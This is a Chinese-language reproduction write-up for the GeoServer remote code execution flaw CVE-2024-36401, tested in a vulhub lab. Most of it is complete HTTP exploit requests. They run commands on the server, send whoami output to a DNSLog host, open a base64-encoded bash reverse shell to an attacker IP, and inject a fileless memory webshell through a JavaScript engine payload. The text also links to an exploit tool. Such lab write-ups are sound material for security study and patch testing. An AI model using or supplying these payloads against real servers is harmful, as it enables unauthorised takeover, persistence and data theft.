漏洞环境

漏洞搭建使用vulhub,https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401

影响版本

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前。

漏洞复现

环境均为自行搭建

靶场java环境jdk17

通过docker-compose up -d 启动靶场,访问8080端口,如下启动成功。

命令执行

命令执行POC:

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

执行成功:返回包中存在java.lang.ClassCastException表示执行成功

进入容器可以看到文件已经创建成功了。

DNSLog

执行POC:

POST /geoserver/wfs HTTP/1.1
Host: 192.168.88.206:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 358

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl 7mhq5s.dnslog.cn')</wfs:valueReference>
</wfs:GetPropertyValue>

也可以再打DNSLog的时候执行一下命令:

curl `whoami`.7mhq5s.dnslog.cn

这里之所以用curl,是因为靶机里面没有ping命令。

执行结果:

反弹Shell

反弹shell的POC:

POST /geoserver/wfs HTTP/1.1
Host: 192.168.88.206:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 442

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguODguMjA2Lzc3ODkgMD4mMQ==}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

L2Jpbi9iYX...更换为你自己反弹shell的base64编码即可。

执行结果:

注入内存马1(JDK17)

注入内存马相关文章:

https://mp.weixin.qq.com/s/jCOp9A-qO8ViqLx3ui0XHg

https://whoopscs.com/posts/cve-2024-36401-jdk11-22-spel-memshell/

https://yzddmr6.com/posts/geoserver-memoryshell/

推荐利用工具:

https://github.com/whitebear-ch/GeoServerExploit

利用工具进行内存马注入:

内存马地址:http://192.168.88.206:8080/geoserver/wfs/*

webshell连接设置

GeoServerExploit这个工具payload-SpEl-jkd11-22利用的原理就是:

https://whoopscs.com/posts/cve-2024-36401-jdk11-22-spel-memshell/

自己也尝试手动编译了,中间报错太多了。

注入内存马2(jdk11)

注入内存马POC:

POST /geoserver/wfs HTTP/1.1
Host: 192.168.88.206:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 816

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="[base64内存马]";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

这个POC中base64中使用JMG工具生成内存马进行替换。中间件/框架选择Jetty,组件选择Filter,注入器类名java.lang.[任意字符]

生成后的base64对上述POC的[base64内存马]处进行替换

相关链接

https://github.com/whitebear-ch/GeoServerExploit

https://mp.weixin.qq.com/s/jCOp9A-qO8ViqLx3ui0XHg

https://whoopscs.com/posts/cve-2024-36401-jdk11-22-spel-memshell/

https://yzddmr6.com/posts/geoserver-memoryshell/

https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401

https://blog.csdn.net/Bugatti100Peagle/article/details/141216889